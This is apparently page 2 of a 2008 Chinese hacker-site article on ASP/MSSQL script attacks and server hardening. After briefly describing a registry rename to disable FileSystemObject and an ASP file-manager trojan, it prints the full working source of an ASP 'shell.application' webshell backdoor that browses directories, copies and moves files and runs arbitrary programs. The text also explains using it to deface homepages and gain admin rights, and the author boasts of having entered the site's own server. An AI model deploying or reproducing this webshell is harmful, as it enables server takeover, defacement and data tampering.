繁体中文  设为首页  加入收藏 
当前位置:学院首页 >> 技巧 >> 脚本黑客 >> MSSQL的脚本注入攻击与安全防护


MSSQL的脚本注入攻击与安全防护 (2)

2008-07-25 17:41:22  www.hackbase.com  来源:互联网
前言:在各种网络上的服务器上,只要黑客能成功入侵不同配置的服务器,都会得到一定的权限,比较GUEST或SYSTEM权限等,但这些权限都是由于服务器管理员的配置不当或缺少管理经验而让黑客成功入侵的,只要我们给 ...

方法如下:
查找注册表中
  HKEY_CLASSES_ROOT\Scripting.FileSystemObject 键值
将其更改成为你想要的字符串(右键-->"重命名"),比如更改成为
HKEY_CLASSES_ROOT\Scripting.FileSystemObject2
这样,在ASP就必须这样引用这个对象了:
Set fso = CreateObject("Scripting.FileSystemObjectnetpk")
而不能使用:
  Set fso = CreateObject("Scripting.FileSystemObject")
如果你使用通常的方法来调用FileSystemObject对象就会无法使用了。
呵呵,只要你不告诉别人这个更改过的对象名称,其他人是无法使用FileSystemObject对象的。这样,作为站点管理者我们就杜绝了他人非法使用FileSystemObject对象,而我们自己仍然可以使用这个对象来方便的实现网站在线管理等等功能了!
但这样做还是有一定的危害性的,因为这样配置的方法并不是十分的完善。只是简单地解决了FSO调用CMD命令和一些简单的ASP木马脚本,要知道WEBSHELL并不是只有ASP的一种,如CGI、PHP、JSP等都存在这样的WEBSHELL,如果你的服务器同时配置了支持CGI、PHP、JSP等,那可就惨了,因为如CGI等这些WEBSHELL是不须要FSO支持就能实现WEBSHELL的。所以你还得向下看,以下还有一些值得大家注意的WEBSHELL。
其实还有更简单实用的方法能防范这种使用ASP脚本绑定CMD命令的webshell,配置防范方法只须要30秒就行了,防范方法等介绍完了CGI、PHP、JSP等WEBSHELL再说,因为只要一种防范方法,就能防止这些脚本攻击及溢出攻击等,在最后我们介绍的防范方法对我们提及到的所有能绑定CMD的WEBSHELL都是能绝对能有效防范的。
例二、使用FSO权限对文件管理的WEBSHELL攻击与防范方法
以下我们介绍的是海阳顶端asp木马,这种WEBSHELL能通过网页在线更改、编辑、删除、移动、上传、下载服务器上的任意文件,只要黑客给你的服务器传上这个ASP木马,你的服务器上的所有文件就会控制在黑客的手上,黑客能在你的服务器干什么?就是上面提及到的。更改、删除、移动……
如下图所示:
看到这个图,你也能想像到你的服务器到最后会变得怎么样了,你服务器上的资料将没有隐私可言了,想黑你服务器上的主页或是删除你服务器上的文件都是点几下鼠标就能办到的了。这种ASP木马网络上各黑客网站均有下载,源代码就不便写出来了。
防范方法:和例一的一样,这里不再重述。
后语:那是不是对于ASP的WEBSHELL就是关了FSO对像或给FSO在注册表里改名就行了呢?事实并不是这样的,因为ASP木马中还有一种是不需要FSO对像支持的,功能虽然并不是很强大,但是要黑一个网站的站,功能已经是很足够的了,这种木马令人防不胜防。以下请看例三。
例三:免FSO对像就能使用的ASP木马
对于这种免FSO对像就能使用的ASP木马,由于少了FSO对像的支持,功能上当然不会很强大的了,只有浏览服务器上的文件目录,复制、移动文件、执行指定路径的程序文件等功能。值得注意的是现在的虚拟主机提供商的虚拟主机大多数都还存在这个漏洞,看来这个漏洞那些服务器网管们是非得好好维护一下才行了。以下是当你浏览这个ASP木马时,所出现的图例。就连黑客基地的服务器也存在相同的漏洞。经本人测试结果,只要使用WEHSHELL就能很容易地取得黑客基地的管理权,但人家说我是黑基的副站长,所以就不干这事了。(编辑同志,我写的黑基这段话你可以删除的哈,因为黑基的服务器并不安全,草民就曾经进去帮他们参观过了。只是我一直没有心情通知那些吹牛B,自己的服务器都维护不好,还要收费教人家安全维护服务器的牛人。至于现在黑基还有没有存在这些漏洞我就不知道了,因为没心情帮他们测试了。)
你可以通过这个免FSO支持的ASP木马对服务器上的文件进行任意的复制及移动和执行程序,这个木马程的功能随然简单,但是用它来黑一个网站就是已经足够的了。比如,我们可以把网站的首页移动到其它地方,然后我们再复制一个同名的黑客网页进去就行了。使用执行程序功能让服务器执行任意的木马程序以取得服务器的ADMIN管理权等。
以下我给出这个免FSO对像的ASP源代码,代码如下:
<%response.write "<font size=6 color=red>一次只能执行一个操作:)</font>" %>
<%response.write now()%><BR>程序所在的物理路径:
<%response.write request.servervariables("APPL_PHYSICAL_PATH")%>
<html>
<title>asp's shell.application backdoor </title>
<body>
<form action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=text value="<%=szCMD %>"> 输入要浏览的目录<br>
<input type=text name=text1 value="<%=szCMD1 %>">
copy
<input type=text name=text2 value="<%=szCMD2 %>"><br>
<input type=text name=text3 value="<%=szCMD3 %>">
move
<input type=text name=text4 value="<%=szCMD4 %>"><br>
路径:<input type=text name=text5 value="<%=szCMD5 %>">
程序:<input type=text name=text6 value="<%=szCMD6 %>"><br>
<input type=submit name=sb value=发送命令>
</form>
</body>
</html>
<%
szCMD = Request.Form("text") '目录浏览
if (szCMD <> "") then
set shell=server.createobject("shell.application") '建立shell对象
set fod1=shell.namespace(szcmd)
set foditems=fod1.items
for each co in foditems
response.write "<font color=red>" & co.path & "-----" & co.size & "</font><br>"
next
end if
%>
<%
szCMD1 = Request.Form("text1") '目录拷贝,不能进行文件拷贝
szCMD2 = Request.Form("text2")
if szcmd1<>"" and szcmd2<>"" then
set shell1=server.createobject("shell.application") '建立shell对象
set fod1=shell1.namespace(szcmd2)
for i=len(szcmd1) to 1 step -1
if mid(szcmd1,i,1)="\" then
path=left(szcmd1,i-1)
exit for
end if
next
if len(path)=2 then path=path & "\"
path2=right(szcmd1,len(szcmd1)-i)
set fod2=shell1.namespace(path)
set foditem=fod2.parsename(path2)
fod1.copyhere foditem
response.write "command completed success!"
end if
%>
<%
szCMD3 = Request.Form("text3") '目录移动
szCMD4 = Request.Form("text4")
if szcmd3<>"" and szcmd4<>"" then
set shell2=server.createobject("shell.application") '建立shell对象
set fod1=shell2.namespace(szcmd4)
for i=len(szcmd3) to 1 step -1
if mid(szcmd3,i,1)="\" then
path=left(szcmd3,i-1)
exit for
end if
next
if len(path)=2 then path=path & "\"
path2=right(szcmd3,len(szcmd3)-i)
set fod2=shell2.namespace(path)
set foditem=fod2.parsename(path2)
fod1.movehere foditem
response.write "command completed success!"
end if
%>
<%
szCMD5 = Request.Form("text5") '执行程序要指定路径
szCMD6 = Request.Form("text6")
if szcmd5<>"" and szcmd6<>"" then
set shell3=server.createobject("shell.application") '建立shell对象
shell3.namespace(szcmd5).items.item(szcmd6).invokeverb
response.write "command completed success!"
end if
%>
[1] [2] [3] [4]

责任编辑:黑客基地        



本文引用网址: 

MSSQL的脚本注入攻击与安全防护的相关文章
发表评论